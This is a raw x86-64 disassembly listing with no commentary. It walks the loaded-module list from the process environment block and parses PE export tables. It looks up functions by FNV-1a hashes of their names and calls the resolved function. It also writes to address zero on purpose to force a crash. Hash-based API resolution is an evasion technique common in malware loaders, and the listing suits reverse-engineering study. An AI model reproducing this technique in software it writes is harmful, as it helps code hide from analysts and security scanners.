cmp edx, edi
jne 0x14020942f
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14020942f
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x14020942f
mov r15d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r10d, dword [rdx + r15]
add r10, r9
mov edx, 0x811c9dc5
jmp 0x1402093a2
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x140209397
cmp edx, dword [rbp - 0x7c]
je 0x1402093bd
test ebx, ebx
jne 0x140209383
mov r15d, 0x811c9dc5
jmp 0x14020942f
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x140209444
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x140209444
mov r15d, 0x811c9dc5
mov edi, r15d
mov ecx, r15d
mov dword [rbp - 0x7c], ecx
jmp 0x140209403
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r10, r12
mov al, byte [r10]
cmp al, 0x2e
jne 0x1402093f5
add r10, r12
mov al, byte [r10]
test al, al
je 0x14020942c
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r10, r12
mov al, byte [r10]
test al, al
jne 0x140209414
mov dword [rbp - 0x7c], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x140209441
cmp qword [r8 + 0x30], r13
jne 0x140209305
mov r10, r13
mov qword [0x1404dbbf8], r10
mov r15d, 0x811c9dc5
lea r9, [rbp + 0x1198]
mov r8d, r12d
mov edx, 0x5000
mov rcx, r14
call r10
mov r8, qword [0x1404dbbf0]
test r8, r8
jne 0x1402095d6
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x1402094db
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x1402094ce
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x1402094bf
cmp edx, edi
jne 0x1402095ba
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1402095ba
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1402095ba
mov r15d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r10d, dword [rdx + r15]
add r10, r9
mov edx, 0x811c9dc5
jmp 0x14020952d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x140209522
cmp edx, dword [rbp - 0x78]
je 0x140209548
test ebx, ebx
jne 0x14020950e
mov r15d, 0x811c9dc5
jmp 0x1402095ba
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r11
jbe 0x1402095cf
lea rcx, [rax + r11]
cmp r8, rcx
jae 0x1402095cf
mov r15d, 0x811c9dc5
mov edi, r15d
mov ecx, r15d
mov dword [rbp - 0x78], ecx
jmp 0x14020958e
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r8, r12
mov al, byte [r8]
cmp al, 0x2e
jne 0x140209580
add r8, r12
mov al, byte [r8]
test al, al
je 0x1402095b7
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r8, r12
mov al, byte [r8]
test al, al
jne 0x14020959f
mov dword [rbp - 0x78], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x1402095cc
cmp qword [r8 + 0x30], r13
jne 0x140209490
mov r8, r13
mov qword [0x1404dbbf0], r8
mov edx, 0x5000
mov rcx, r14
call r8
mov qword [0], 0x99
mov rax, qword [rbp + 0x50]
movabs rcx, 0xff00ff00ff00ff07
xor rax, rcx
lea rcx, [rbp + 0x4228]
mov qword [rcx], rax
mov rcx, qword [rbp + 0x41f0]
xor rcx, rsp
call fcn.140250c20
lea r11, [rsp + 0x4300]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret